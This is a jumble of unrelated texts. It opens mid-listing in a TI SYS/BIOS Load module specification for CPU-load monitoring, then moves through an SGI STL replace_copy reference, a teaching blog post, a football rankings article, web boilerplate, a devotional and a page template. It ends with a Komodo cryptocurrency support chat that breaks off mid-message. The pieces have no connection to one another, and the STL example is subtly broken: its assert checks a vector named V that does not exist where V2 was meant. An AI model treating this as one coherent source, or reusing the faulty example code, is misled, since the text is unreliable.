304 *
 During main().

305 *
 During BIOS.startupFxns.

306 *

307 *
 Startup: API is callable during any of these phases:

308 *

309 *
 During xdc.runtime.Startup.firstFxns.

310 *
 In your module startup before this module is started
311 * (e.g. Load_Module_startupDone() returns FALSE).

312 *

313 *
 *: Indicates only when {@link #taskEnabled taskEnabled}
314 * is set to false.

315 *

316 *

317 *

318 * @p
319 */
320
321 @Template("./Load.xdt")
322 @DirectCall
323 module Load
324 {
325 /*!
326 * ======== ModuleView ========
327 * @_nodoc
328 */
329 metaonly struct ModuleView {
330 String cpuLoad;
331 String swiLoad;
332 String hwiLoad;
333 String idleError; 334 335
336 }
337
338 /*!
339 * ======== rovViewInfo ========
340 * @_nodoc
341 */
342 @Facet
343 metaonly config ViewInfo.Instance rovViewInfo =
344 ViewInfo.create({
345 viewMap: [
346 [
347 'Module',
348 {
349 type: ViewInfo.MODULE,
350 viewInitFxn: 'viewInitModule',
351 structName: 'ModuleView'
352 }
353 ],
354 ]
355 });
356
357
358
359
360 /*!
361 * ======== FuncPtr ========
362 * Callback function type
363 */
364 typedef Void (*FuncPtr)();
365
366 /*!
367 * ======== Stat ========
368 * Load statistics info
369 */
370 struct Stat {
371 UInt32 threadTime;
372 UInt32 totalTime;
373 };
374
375
376
377
378 /*!
379 * ======== LS_cpuLoad ========
380 * This event logs the global CPU load as a percentage
381 *
382 * This event is logged whenever the Diags.USER4 level is enabled
383 * and the load is measured.
384 *
385 */
386 config Log.Event LS_cpuLoad = {
387 mask: Diags.USER4,
388 msg: "LS_cpuLoad: %d%%"
389 };
390
391 /*!
392 * ======== LS_hwiLoad ========
393 * This event logs the Hwi load
394 *
395 * This event is logged whenever the Diags.USER4 level is enabled
396 * {@link #hwiEnabled} is true, and the load is measured.
397 *
398 * This event logs the Hwi load, with the form:
399 * <load time>,<measurement time>
400 *
401 * Percentage load = <load time> / <measurement time> x 100%
402 */
403 config Log.Event LS_hwiLoad = {
404 mask: Diags.USER4,
405 msg: "LS_hwiLoad: %d,%d"
406 };
407
408 /*!
409 * ======== LS_swiLoad ========
410 * This event logs the Swi load
411 *
412 * This event is logged whenever the Diags.USER4 level is enabled
413 * {@link #swiEnabled} is true, and the load is measured.
414 *
415 * This event logs the Swi load, with the form:
416 * <load time>,<measurement time>
417 *
418 * Percentage load = <load time> / <measurement time> x 100%
419 */
420 config Log.Event LS_swiLoad = {
421 mask: Diags.USER4,
422 msg: "LS_swiLoad: %d,%d"
423 };
424
425 /*!
426 * ======== LS_taskLoad ========
427 * This event logs Task thread loads
428 *
429 * This event is logged whenever the Diags.USER4 level is enabled,
430 * {@link #taskEnabled} is true, and the load is measured.
431 *
432 * This event logs Task thread loads, with the form:
433 * <Task handle>,<load time>,<measurement time>,<Task function pointer>
434 *
435 * Percentage load = <load time> / <measurement time> x 100%
436 */
437 config Log.Event LS_taskLoad = {
438 mask: Diags.USER4,
439 msg: "LS_taskLoad: 0x%x,%d,%d,0x%x"
440 };
441
442 /*!
443 * ======== postUpdate ========
444 * User function called after each load update
445 *
446 * If non-NULL, postUpdate is run immediately after each update.
447 */
448 config FuncPtr postUpdate = null;
449
450 /*!
451 * ======== updateInIdle ========
452 * Automatically call {@link #update} in Idle loop
453 *
454 * If this parameter is set to `true`, an {@link ti.sysbios.knl.Idle Idle}
455 * function, which computes and updates the CPU load, is added to the
456 * {@link ti.sysbios.knl.Idle#run Idle loop}.
457 */
458 config Bool updateInIdle = true;
459
460 /*!
461 * ======== enableCPULoadCalc ========
462 * Automatically update the Load module's CPU load value in
463 * {@link #update}.
464 *
465 * If this parameter is set to `true`, Load_update() will calculate
466 * the CPU load for the elapsed time. In some cases, the user may
467 * prefer to use the statistics gathered by the Load module and do
468 * the CPU load calculation themself. Set this parameter to false,
469 * to disable the Load module's CPU load calculations. This can
470 * improve performance of the Load_update() call.
471 */
472 metaonly config Bool enableCPULoadCalc = true;
473
474 /*!
475 * ======== minIdle ========
476 * Specifies the minimum time used to compute idle time
477 *
478 * During CPU load measurement, the minimum time observed executing
479 * the idle loop together with the count of the number of times the idle
480 * loop runs id used to compute the total idle time. However, since the
481 * _actual_ time spent in the idle loop will almost always be greater
482 * then the observed minimum, the idle time is almost always under
483 * estimated.
484 *
485 * This configuration parameter can be used to compensate for this
486 * underestimate by placing a lower bound on the minimum time used in
487 * the CPU measurements. The minimum idle time used to compute CPU
488 * load is guarenteed to be greater than or equal to `minIdle`.
489 */
490 metaonly config UInt32 minIdle = 0;
491
492 /*!
493 * ======== windowInMs ========
494 * Load averaging period
495 *
496 * When {@link #updateInIdle} is enabled, this period determines the
497 * minimum elapsed time between updates of the load statistics in the
498 * idle loop.
499 */
500 config UInt windowInMs = 500;
501
502 /*!
503 * ======== hwiEnabled ========
504 * Enables Hwi time monitoring
505 *
506 * When this parameter is set to `true`, {@link ti.sysbios.hal.Hwi Hwi}
507 * processing time is accumulated between successive calls of
508 * {@link #update} and, as part of Load_update, an
509 * {@link #LS_hwiLoad event} with this cumulative time is logged. This
510 * time, together with the total elapsed time, is used to estimate the
511 * CPU load due to any Hwi instances run between these updates.
512 */
513 config Bool hwiEnabled = false;
514
515 /*!
516 * ======== swiEnabled ========
517 * Enables Swi time monitoring
518 *
519 * When this parameter is set to `true`, Swi processing time is
520 * accumulated between successive calls of {@link #update} and, as
521 * part of Load_update, an {@link #LS_swiLoad event} with this
522 * cumulative time is logged. This time together with the total
523 * elapsed time is used to estimate the CPU load due to any Swi
524 * instances run between these updates.
525 */
526 config Bool swiEnabled = false;
527
528 /*!
529 * ======== taskEnabled ========
530 * Enables Task time monitoring
531 *
532 * When this parameter is set to `true`, each Task's processing time is
533 * accumulated between successive calls of {@link #update} and, as
534 * part of Load_update, an {@link #LS_taskLoad event} with this
535 * cumulative time is logged for each task. This time together with the
536 * total elapsed time is used to estimate the CPU load due to each Task
537 * run between these updates.
538 */
539 config Bool taskEnabled = true;
540
541
542
543 /*!
544 * ======== getTaskLoad ========
545 * Return the load and time spent in a specific task
546 *
547 * This function returns the load and time spent in a specific task
548 * along with the duration over which the measurement was done. Numbers
549 * are reported in {@link xdc.runtime.Timestamp Timestamp} counts.
550 *
551 * Task handle must be valid and have been registered with Load.
552 *
553 * @param(task) Handle of the Task which time we are interested in.
554 * @param(stat) Load and time statistics info
555 * @b(returns) TRUE if success, FALSE if failure
556 *
557 */
558 Bool getTaskLoad(Task.Handle task, Stat *stat);
559
560 /*!
561 * ======== update ========
562 * Record thread statistics and reset all counters
563 *
564 * If {@link #taskEnabled taskEnabled} is set to true, this function can
565 * only be called in task context.
566 */
567 Void update();
568
569 /*!
570 * @_nodoc
571 * ======== updateCPULoad ========
572 * Record CPU load only. This function is used only when Power idling
573 * is enabled.
574 *
575 * If Power idling is available for the device and enabled, a different
576 * method of CPU load calculation must be used. Since the idle loop will
577 * not be executing while the CPU is idle, we cannot measure the idle
578 * time by multiplying the number of times the idle loop ran, by the
579 * minumum time through one iteration of the idle loop. Instead, we
580 * use a {@link ti.sysbios.knl.hal.Hwi} hook function for measuring
581 * idle time. The hook function is run at the beginning of each Hwi,
582 * and the first Hwi to cause the CPU to come out of idle, will mark
583 * the end of idle time.
584 *
585 */
586 @DirectCall
587 Void updateCPULoad();
588
589 /*!
590 * @_nodoc
591 * ======== updateLoads ========
592 * Record CPU load and thread loads if Task, Swi, or Hwi load logging
593 * is enabled. This function is called by Load_update() if Power
594 * management is not used.
595 */
596 @DirectCall
597 Void updateLoads();
598
599 /*!
600 * @_nodoc
601 * ======== updateContextsAndPost ========
602 * This function is called by Load_update() when Load.enableCPULoadCalc
603 * is false.
604 * Updates the current thread's time and hook contexts for all threads.
605 * Call the postUpdate() function. It is up to the application to
606 * calculate the loads.
607 */
608 @DirectCall
609 Void updateContextsAndPost();
610
611 /*!
612 * @_nodoc
613 * ======== updateCurrentThreadTime ========
614 * Update the total time for the currently running thread. This function
615 * will be called if Task, Swi, or Hwi Load logging is enabled.
616 */
617 @DirectCall
618 Void updateCurrentThreadTime();
619
620 /*!
621 * @_nodoc
622 * ======== updateThreadContexts ========
623 * Update hook contexts for all threads. This function
624 * will be called if Task, Swi, or Hwi Load logging is enabled.
625 */
626 @DirectCall
627 Void updateThreadContexts();
628
629 /*!
630 * ======== reset ========
631 * Reset all internal load counters
632 *
633 * If {@link #taskEnabled taskEnabled} is set to true, this function can
634 * only be called in task context.
635 */
636 Void reset();
637
638 /*!
639 * ======== getGlobalSwiLoad ========
640 * Return the load and time spent in Swi's
641 *
642 * This function returns the load and time spent in Swi's along with
643 * the time duration over which the measurement was done. Numbers are
644 * reported in {@link xdc.runtime.Timestamp Timestamp} counts.
645 *
646 * @param(stat) Load and time statistics info
647 * @b(returns) TRUE if success, FALSE if failure
648 *
649 */
650 Bool getGlobalSwiLoad(Stat *stat);
651
652 /*!
653 * ======== getGlobalHwiLoad ========
654 * Return the load and time spent in hwi's
655 *
656 * This function computes the load and time spent in Hwi's along
657 * with the time duration over which the measurement was done. Numbers
658 * are reported in {@link xdc.runtime.Timestamp Timestamp} counts.
659 *
660 * @param(stat) Load and time statistics info
661 *
662 * @b(returns) TRUE if success, FALSE if failure
663 */
664 Bool getGlobalHwiLoad(Stat *stat);
665
666 /*!
667 * ======== getCPULoad ========
668 * Return an estimate of the global CPU load
669 *
670 * This function returns an estimate of CPU load (% utilization of the
671 * CPU), with the idle time determined based on number of trips through
672 * the idle loop multiplied by the shortest amount of time through the
673 * loop.
674 *
675 * This function requires the idle loop to be run during a benchmark time
676 * window.
677 *
678 * Note: Time spent in kernel while switching to a Hwi/Swi/Task is
679 * considered non-idle time.
680 *
681 * @b(returns) CPU load in %
682 *
683 */
684 UInt32 getCPULoad();
685
686 /*!
687 * ======== calculateLoad ========
688 * Compute total CPU load from a Load_Stat structure
689 *
690 * This function computes percent load from the
691 * values in a Load_Stat structure.
692 *
693 * @a(returns) Load value of a Load_Stat structure in %.
694 */
695 UInt32 calculateLoad(Stat *stat);
696
697 /*!
698 * ======== setMinIdle ========
699 * Set lower bound on idle loop time used to compute CPU load
700 *
701 * @see #minIdle
702 */
703 UInt32 setMinIdle(UInt32 newMinIdleTime);
704
705 /*! @_nodoc
706 * ======== addTask ========
707 * Add a task to the list for benchmarking
708 *
709 * If {@link #taskEnabled} is set to true, this function can only be
710 * called in task context.
711 *
712 * @param(task) Handle of the Task to be added to the list.
713 * @param(env) Handle of context structure to be used by the Task
714 */
715 Void addTask(Task.Handle task, HookContext *env);
716
717 /*! @_nodoc
718 * ======== removeTask ========
719 * Remove a task from the list for benchmarking
720 *
721 * If {@link #taskEnabled} is set to true, this funciton can only be
722 * called in task context.
723 *
724 * @param(taskHandle) Handle of the Task to be removed from the list.
725 */
726 Bool removeTask(Task.Handle task);
727
728 /*!
729 * @_nodoc
730 * ======== idleFxn ========
731 * Idle function used to periodically update the Task time values
732 */
733 Void idleFxn();
734
735 /*!
736 * @_nodoc
737 * ======== idleFxnPwr ========
738 * Idle function used when Power idling is enabled.
739 */
740 @DirectCall
741 Void idleFxnPwr();
742
743 /*!
744 * @_nodoc
745 * ======== Load_startup ========
746 * Initialize thread load update times.
747 */
748 Void startup();
749
750
751
752 /*!
753 * @_nodoc
754 * ======== taskCreateHook ========
755 * Create hook function used to initialize all task's hook context
756 * to NULL during creation time. Also adds the task's hook context
757 * when {@link #autoAddTasks} is set to true.
758 *
759 * @param(task) Handle of the Task to initialize.
760 * @param(eb) Error block.
761 */
762 Void taskCreateHook(Task.Handle task, Error.Block *eb);
763
764 /*!
765 * @_nodoc
766 * ======== taskDeleteHook ========
767 * Delete hook function used to remove the task's hook context
768 * when {@link #autoAddTasks} is set to true.
769 *
770 * @param(task) Handle of the Task to delete.
771 */
772 Void taskDeleteHook(Task.Handle task);
773
774 /*!
775 * @_nodoc
776 * ======== taskSwitchHook ========
777 * Switch hook function used to perform benchmarks
778 *
779 * @param(curTask) Handle of currently executing Task.
780 * @param(nextTask) Handle of the next Task to run
781 */
782 Void taskSwitchHook(Task.Handle curTask, Task.Handle nextTask);
783
784 /*!
785 * @_nodoc
786 * ======== swiBeginHook ========
787 * Swi begin hook function used to perform benchmarks
788 *
789 * @param(swi) Handle of Swi to begin execution.
790 */
791 Void swiBeginHook(Swi.Handle swi);
792
793 /*!
794 * @_nodoc
795 * ======== swiEndHook ========
796 * Swi end hook function used to perform benchmarks
797 *
798 * @param(swi) Handle of Swi to end execution.
799 */
800 Void swiEndHook(Swi.Handle swi);
801
802 /*!
803 * @_nodoc
804 * ======== hwiBeginHook ========
805 * Hwi begin hook function used to perform benchmarks
806 *
807 * @param hwi Handle of Hwi to begin execution.
808 */
809 Void hwiBeginHook(IHwi.Handle hwi);
810
811 /*!
812 * @_nodoc
813 * ======== hwiEndHook ========
814 * Hwi end hook function used to perform benchmarks
815 *
816 * @param hwi Handle of Hwi to end execution.
817 */
818 Void hwiEndHook(IHwi.Handle hwi);
819
820 /*!
821 * @_nodoc
822 * ======== taskRegHook ========
823 * Registration function for the module's hook
824 *
825 * Moved out of the internal section for ROM purposes. This function
826 * is not referenced directly, so it must be a "public" function so
827 * that the linker does not drop it when creating a ROM image.
828 *
829 * @param(id) The id of the hook for use in load.
830 */
831 Void taskRegHook(Int id);
832
833 internal:
834
835
836
837 /*!
838 * @_nodoc
839 * Hook Context
840 */
841 struct HookContext {
842 Queue.Elem qElem; /*! Queue element */
843 UInt32 totalTimeElapsed; /*! Total amount of time elapsed */
844 UInt32 totalTime; /*! time spent in thread */
845 UInt32 nextTotalTime; /*! working counter of time spent in thread */
846 UInt32 timeOfLastUpdate; /*! time when update was last called */
847 Ptr threadHandle; /*! handle to thread whose context this is */
848 };
849
850
851
852 /*! @_nodoc
853 * Automatically add all tasks
854 */
855 config Bool autoAddTasks = true;
856
857 /*! @_nodoc
858 * Is power management enabled?
859 */
860 metaonly config Bool powerEnabled;
861
862
863
864 /*!
865 * @_nodoc
866 * ======== logLoads ========
867 * Logs load values for all monitored threads.
868 * Statistics messages from the kernel must be enabled
869 * (via Load.common$.diags_USER4) in order to see the output.
870 *
871 * If {@link #taskEnabled} is set to TRUE, this function can only be
872 * called in task context.
873 */
874 Void logLoads();
875
876 /*!
877 * @_nodoc
878 * ======== logCPULoad ========
879 * Log CPU load only.
880 */
881 Void logCPULoad();
882
883 struct Module_State {
884 Queue.Object taskList;
885
886 Int taskHId;
887
888 UInt32 taskStartTime[];
889 UInt32 timeElapsed;
890 Task.Handle runningTask[];
891 Bool firstSwitchDone;
892
893 UInt32 swiStartTime;
894 HookContext swiEnv;
895 HookContext taskEnv[];
896 UInt32 swiCnt;
897
898 UInt32 hwiStartTime;
899 HookContext hwiEnv;
900 UInt32 hwiCnt;
901
902 UInt32 timeSlotCnt;
903
904 UInt32 minLoop;
905 UInt32 minIdle;
906 UInt32 t0;
907 UInt32 idleCnt;
908 UInt32 cpuLoad;
909
910 UInt32 taskEnvLen;
911 UInt32 taskNum;
912
913
914 Bool powerEnabled;
915 UInt32 idleStartTime;
916 UInt32 busyStartTime;
917 UInt32 busyTime;
918 };
919 }


abstract val coreTransaction: CoreTransaction
Lazily calculated access to the deserialised/hashed transaction data.


replace_copy
|
|
| Category: algorithms |
Component type: function |
Prototype
template <class InputIterator, class OutputIterator, class T>
OutputIterator replace_copy(InputIterator first, InputIterator last,
OutputIterator result, const T& old_value,
const T& new_value);
Description
Replace_copy copies elements from the range [first, last) to
the range [result, result + (last-first)), except that any element
equal to old_value is not copied; new_value is copied instead.
More precisely, for every integer n such that 0 <= n < last-first,
replace_copy performs the assignment *(result+n) = new_value
if *(first+n) == old_value, and *(result+n) = *(first+n)
otherwise.
Definition
Defined in algo.h.
Requirements on types
Preconditions
-
[first, last) is a valid range.
-
There is enough space in the output range to store the copied
values. That is, [result, result + (last-first)) is a valid range.
-
result is not an iterator within the range [first, last).
Complexity
Linear. Replace_copy performs exactly last - first comparisons for
equality and exactly last - first assignments.
Example
vector<int> V1;
V1.push_back(1);
V1.push_back(2);
V1.push_back(3);
V1.push_back(1);
vector<int> V2(4);
replace_copy(V1.begin(), V1.end(), V2.begin(), 1, 99);
assert(V[0] == 99 && V[1] == 2 && V[2] == 3 && V[3] == 99);
Notes
See also
copy, replace, replace_if, replace_copy_if
Copyright © 1996 Silicon Graphics, Inc.
|


--- layout: post date: 2012-04-03 time: "09:00:00" authors: ["Greg Wilson"] title: A Four-Day Curriculum tags: ["Education"] ---
In response to my weekend post about what we teach in two days, Steve Haddock sent me this link to a four-day course based on the excellent book Practical Computing for Biologists that he co-wrote with Casey Dunn. It's worth reading and pondering in full, but in brief, their curriculum (in half-day chunks) is:
The delight is in the details, of course, but the three things that jump out are (a) having half a day at the start to get things set up, (b) the domain-specific material (scientific Python, bioinformatics, making graphs, etc.), and (c) the absence of version control. What doesn't show up here, but was clear from Steve's email, is that they also spend much more time doing hands-on exercises than we do in a two-day course. If we cut out databases, so that we were only covering the shell, (very) basic Python, and version control, we could do more hands-on work, but I don't know if narrower-but-deeper is a good trade-off or not. As I said two years ago in a slightly different context, the problem is never figuring out what should be in a course; the problem is always to figure out what should be left out.


A tool to help people learn languages by being presented with random images and attempting to describe them in their target language. It was made specifically for IB students who are studying a language at an ab initio level for their IAs.
Press
As soon as you're able to see the image, a timer will start. Either a) start describing the image out loud or b) write it down on the text-box directly below the image.
Once the timer has ended or you feel like there's nothing else to say, move on to the next image.
Repeat step 2 and 3 for the other images.
Repeat as many times as you want.


Global Roots
Dashboard
Messages
ME
Transactions
Preferences
Contact
Messages
14
New
2
Accepted
1
Declined
< >
Open Menu


Greek life at Carnegie Mellon is different from many other schools. People decide to join greek organizations for many reasons, however the most common reason is for the community. While at a college as intense as Carnegie Mellon it can be hard to balance academics and social life. Joining a greek organization gives you a place to call home, and friends who will do everything in their power to help you thrive during your time at CMU. Many brothers come to refer to the chapter house as their home, and on breaks they are simply going “back to their parent’s home”.
Additionally, greek life gives you numerous leadership opportunities. Keeping an organization of 70+ guys running smoothly is tremendously complex and offers real life experience to supplement academic learning. Greek life at CMU also allows you to participate in Greek Sing, the largest philanthropic event on campus, as well as Booth and Buggy, two of the staples of Carnival.


The College Football Playoff Rankings After Week 12 Have Been Released
by Andrew McCartyThe first College Football Playoffs rankings of the 2019 season were two weeks ago. Heading into the release of the initial rankings, Ohio State and LSU battled for the top spot. Two weeks later, both are still vying for the top spot, but only one can win – for now.
In the first playoff rankings, Ohio State held the top spot. However, LSU took over last week after taking down the Alabama Crimson Tide. The Tigers have taken control of the playoff race, but could see themselves knocked out of the top spot soon.
A huge game between Ohio State and Penn State could bump the Buckeyes up to No. 1 next week.
For now, though, head coach Ryan Day and company will have to be okay sitting in second.
Here’s the full list:
- LSU
- Ohio State
- Clemson
- Georgia
- Alabama
- Oregon
- Utah
- Penn State
- Oklahoma
- Minnesota
- Florida
- Wisconsin
- Michigan
- Baylor
- Auburn
- Notre Dame
- Iowa
- Memphis
- Cincinnati
- Boise State
- Oklahoma State
- Iowa State
- USC
- Appalachian State
- SMU
One of the biggest games last weekend took place in Waco as Oklahoma pulled off an epic comeback against the Baylor Bears.
The win keeps the Sooners playoff hopes alive, but they’ll need some help along the way.
What will this weekend of college football bring?


--- layout: post title: "Skyr" permalink: /:title.html categories: - Commercial published: true ---
Skyr / Ondrej Bank Story / dir / Novak+Nguyen / Tomáš Bláha, Dužan Duong / Dop: David Hofmann / Grade: Enthony Grain/


Welcome to M.I.A
ON 26th OCTOBER 2012
New Releases Free Online Reading
Read More
Free Upload Books Share books with Friends


VSL // Putting the A in F.A.S.T.
* We Are FriendsWithYou
today’s Very Short List:
culture 27 May 2014
Vivianne Lapointe is the editor-in-chief of Live FAST Magazine
Subscribe
* Meanwhile in Hawaii, Versace has invited L.A.-based artist and designer Tristan Eaton
* From June 12 to 14, twenty local and international artists
http://link.nyobserver.com/516ca68465217dc6e1b9a3a61lnt2.bdc/TvnrKi0WTdwTHwxwC6443
delightful e-mail that shares
cultural gems from a
different curator every day.
If you have any problems reading this e-mail, click here
http://link.nyobserver.com/516ca68465217dc6e1b9a3a61lnt2.bdc/UHyHCJsf7NZSKXrPCfcd8
Subscribe
Forward
My Account
Unsubscribe
design 26 May 2014
Dave Seliger on designing government.
food 23 May 2014
Alexa Jaccarino’s got grilling on her mind.
culture 21 May 2014
Anne T. Donahue takes no shit, and gets it done.
Editorial Policy
Privacy Policy
Contact Us
Press
Terms + Conditions
very fine print: ©2014
Observer VSL LLC.
321 West 44th Street, 6th Floor
New York, NY 10036 USA
All rights reserved.
Questions?<PHONE_NUMBER>.
This message was intended for<EMAIL_ADDRESS>If you believe this has been sent to you in error, please safely unsubscribe


Exodus 25:8-9
Psalm 100
Revelation 4:8-11
Solitary prayer, like Daniel practiced from the window that faced Jerusalem in his room each day, is an important part of the Christian life. As important as it is to pray alone, it is also vital to our spiritual health to gather and worship together. Getting together with brothers and sisters of faith makes our individual voices of praise, confession, and petition one strong common voice lifted to God. Worshipping together helps keep us from wandering off on our own diversions, bonds us with other believers, and reminds us that we are never alone.
Daniel, Hananiah, Mishael, and Azariah had the benefit of being together in exile. While they didn’t have their families or their homeland, they had each other, a fact that likely helped sustain them and guide them in the tough choices they were forced to make.
When has a community of faith sustained you through a difficult time in your own life?
There are stories from many other wars in history that show how faith and solidarity sustained men and women like Daniel and his friends after they had been captured by the enemy—stories of prisoners of war passing Bibles back and forth and whispering verses and hymns through cell walls. These acts, though small, gave them hope. Although we aren’t imprisoned, we do live in a land that is not our home. Knowing that we are not alone in our faith has an amazing effect of helping us stay spiritually alive in the most difficult of times.
Worship is the redirection of our hearts to the heart of God. It’s the corporate gathering of God’s people into one family. It’s the pure oxygen we need to breathe to keep our faith alive! Find a time this week that you can gather with other believers, direct your attention and worship to God, and breathe deeply.


{% extends "layout.html" %} {% block page_title %} You've sent a document {% endblock %} {% block content %} Settings Sign out You've sent a document 'businesscase-03' What happens next We'll send an email to confirm that we have received your document. It may take a few minutes for your document to show on the list of documents you've sent to ESFA. Send another document You can replace an incorrect document or send a new one. We’ll only check the latest version. Finish {% endblock %}
'businesscase-03'
We'll send an email to confirm that we have received your document.
It may take a few minutes for your document to show on the list of documents you've sent to ESFA.
You can replace an incorrect document or send a new one. We’ll only check the latest version.


How Long Do You Take To React?
When the squares and circles appear, click on them as quickly as you can.
You took ??????? seconds to REACT!!!
Start
How Long Do You Take To React?
When the squares and circles appear, click on them as quickly as you can.


General support queries. User Guides: https://support.komodoplatform.com/ Support staff: Angelina#6231 gcharang#6833. If you want to ask JL777 a question, use the #ask-jl777 channel.
100 messages
Before 05-Dec-19 12:00 AM
gcharang11-Sep-19 10:28 AM
it only lists all the available commands
I can't see any info about port? @Support-RaptorPool.org
Support-RaptorPool.org11-Sep-19 10:28 AM
-rpcport .... (default 8232 or testnet: 18232)
sorry just "komodo-cli" command ... i am doing 4 wallets now for different coins and looking in wrong console ... anyway help from command: "komodo-cli" (no parameters) show that ports as default
gcharang11-Sep-19 10:33 AM
thank you
found it
will have these updated
you also mentioned "official website instructions" ?
Documentation for developers building on the Komodo Platform
It should contain proper info for standard komodod(edited)
gcharang11-Sep-19 11:06 AM
@Support-RaptorPool.org
ok, will include kmd's port in the explanation
Support-RaptorPool.org11-Sep-19 11:42 AM
thx it will give better start for new persons like I was
1
Support-RaptorPool.org11-Sep-19 11:55 AM
Any additional information should I have before I will setup pool for you on s-nomp ?(edited)
gcharang11-Sep-19 11:57 AM
@Support-RaptorPool.org I am not sure s-nomp works with Komodo
I know k-nomp works: https://github.com/webworker01/knomp
you can ask in #talk-mining for more info
In this tutorial I'm going to show you how to backup the Verus Agama Wallet / Komodo Agama Wallet and I cover a lot of the basics. Verus Agama Wallet: https:...
iSapnqoX09114-Sep-19 07:16 PM
im using the lite version
now i signed in with the Wallet seed/WIF using the lite version and i can see my funds/wallet on the new pc
its safe to say now i can delete the old app/wallet?(edited)
Community driven open source CPU mineable cryptocurrency with 50/50 Proof-of-Work/Proof-of-Stake, zk-SNARK zero-knowledge proof privacy.
iSapnqoX09115-Sep-19 05:04 PM
yes, im jusing the latest version
for some reason the first couple attemps didnt work and appears the same error, after a few minutes it worked again
TonyL15-Sep-19 05:35 PM
Maybe that was temporary SPV connectivity issue. You can report to the Verus team if problem will appear again
Equihashing Anonto15-Sep-19 08:25 PM
Hi there!
I have a basic question!
Revenue of a particular miner = hashing rate of that miner ÷ net difficulty hashrate × Block reward × Block time × Coin price.
Is this above equation is valid?
Please do kindly tell me?
ballistic16-Sep-19 03:34 AM
Is claiming rewards with ledger secure now?
hyperDEX16-Sep-19 11:51 AM
@ballistic when has it not been secure?
ballistic16-Sep-19 10:49 PM
@hyperDEX i heard it used to compromise your keys possibly
phideas17-Sep-19 08:24 AM
@ballistic in early days it was not possible to claim rewards on ledger. only way to get accrued rewards, if user “willingly“ extracted his privkeys, then reset his ledger to a new seed.
today there is a safe and user friendly solution https://atomiclabs.github.io/ledger-kmd-reward-claim/ or using magnum web wallet.
@ballistic if you exported your wif sure but now you never touch the privkey like phideas said.(edited)
gcharang17-Sep-19 01:41 PM
@Equihashing Anonto please ask in #talk-mining
Trusty17-Sep-19 03:36 PM
hi, my portfolio android wallet is always trying to "conecting... ", I can not see balances or trading, can anyone hepl me pls?
gcharang17-Sep-19 03:36 PM
@Trusty which wallet are you using?
Trusty17-Sep-19 03:37 PM
sorry, it is atomicDEX app
gcharang17-Sep-19 03:38 PM
@Trusty update to the latest version
the issue should be fixed
Trusty17-Sep-19 03:41 PM
ty, the update has fixed the problem.
Exile1317-Sep-19 05:30 PM
sudo tail -100 /var/log/syslog
returns
[UFW BLOCK]
in the THC spc electrumx server
spv*
i havent changed anything and it was running normally till now
Oszy17-Sep-19 07:29 PM
that's the firewall blocking something , and logging it, is the electrum working?
groundhog18-Sep-19 05:22 PM
anyone here who knows how to obtain my pubkey from a ledger for composing an antara sc?
gcharang18-Sep-19 05:32 PM
@groundhog I'am not sure how to get a pubkey for an address from a ledger, but if you know the privkey, you could get the pubkey from the ocean qt wallet
groundhog18-Sep-19 05:37 PM
thx a lot
𝙊𝙊𝙊𝙊18-Sep-19 05:45 PM
FYI, Verus Agama 0.5.8-1 is available for download:
https://github.com/VerusCoin/Agama/releases/tag/v0.5.8-1
Notable changes:
- Added DigitalPrice coin
- Fixed bug that caused "invalid pub address" error when attempting to send Zcash.
- Updated Komodo logo
- Added Testnet support for Public Blockchains as a Service (PBaaS) and Verus Reserve cross-chain currency conversion technology(edited)
I recently switched to a new computer and I wanted to install the latest Agama/Komodo wallet. On my old computer I used an old version of the Agama wallet in Lite mode so I only have a seed phrase and password. How do you recommend I proceed to recover my Komodo funds? I tried unsuccessfully in the past using what was an old version of Agama. Would appreciate some help. Thanks
Actually, I need to install the latest Agama/Komodo wallet first. Hopefully I can recover access using the seed phrase and password. The only Agama desktop wallet I've seen requires a command line approach.
The Verus Multi-Coin Desktop Wallet. Contribute to VerusCoin/Agama development by creating an account on GitHub.
vir126-Sep-19 05:58 PM
hello, I had Agam's wallet. I have left such files after him Walletdat-utilis. Can I paste them in the new Utrum portfolio and will I have the OOT coin back?
gcharang26-Sep-19 06:01 PM
@vir1 did you use lite mode or native mode ?
do you have a 24 word seed phrase?
@vir1 do you have a file named "wallet.dat" in the folder: Walletdat-utilis ?
vir126-Sep-19 06:07 PM
I can not open this file
gcharang26-Sep-19 06:17 PM
continued in DM
Hooftly28-Sep-19 12:15 AM
has anyone here tried to build dev branch for windows? I get a make error with cc_lib and im wondering if anyone has had the same issue and knows what I need to add to the make file.
Oszy28-Sep-19 12:20 AM
can you post what the error is exactly?
also jl777 repo or komodoplatform?
Hooftly28-Sep-19 12:26 AM
KomodoPlatform Ill have to grab the error from the other machine standby
hmmmm not sure, but, if you are on windows 10, get the ubuntu app from the store, and you will have Linux Shell along windows cmd, where you can compile and run everything under linux just like a VM but it's only a few clicks
The Windows Subsystem for Linux, introduced in the Anniversary Update, became a stable feature in the Fall Creators Update. You can now run Ubuntu and openSUSE on Windows, with Fedora and more Linux distributions coming soon.
Oszy28-Sep-19 06:46 AM
Yes this is it
Hooftly28-Sep-19 06:53 AM
No Im building on an Ubuntu Box(edited)
Im not using windows but trying to make a windows Binary for the Dev branch using Ununtu and the build-win script(edited)
I dont use windows eww
But users of an asset chain will and it needs the dev branch and good luck getting them to build
Oszy28-Sep-19 06:56 AM
ahhhhhh dang i see
there is a binary release for dev-0.4.0a is that too old ?
ok let me try to compile
Oszy28-Sep-19 07:30 AM
@Hooftly I get the same error
I'd redirect you to #dev-general
![HATCH] Hatch30-Sep-19 04:25 AM
Hello, Do you have the option to add a HATCH coin? We need this for further integration into the wallets supporting your platform.
peepypoopy30-Sep-19 04:46 AM
Hello, I cannot access my funds. I have the seed phrase which I enter but the value is 0. The address is also different from before when I enter the seed phrase which is strange
peepypoopy30-Sep-19 04:54 AM
I had my kmd on agama wallet mac
Oszy30-Sep-19 05:18 AM
@![HATCH] Hatch you have to apply for listing and probably pay the listing fee, since you have a DASH fork, technically it's possible. Fill out the contact form on atomicdex.io under "Assets"
peepypoopy30-Sep-19 05:18 AM
Any admin/support?
Oszy30-Sep-19 05:20 AM
@peepypoopy make sure you enter the seed without extra characters / spaces at the end of the seed, you only get different address if it's not the exact same seed. you can check balance for your address on https://kmdexplorer.io if you see your funds there, you are entering the wrong seed.(edited)
Komodo Insight. View detailed information on all komodo transactions and block. {{ $root.title + $root.titleDetail }}
It happens a lot that people mistype a word, or press space twice somewhere, which will result in a different address in lite mode. Besides your seed, it's recommended to have a backup of that address's private key which you can export in Agama from the settings.(edited)
![HATCH] Hatch30-Sep-19 05:28 AM
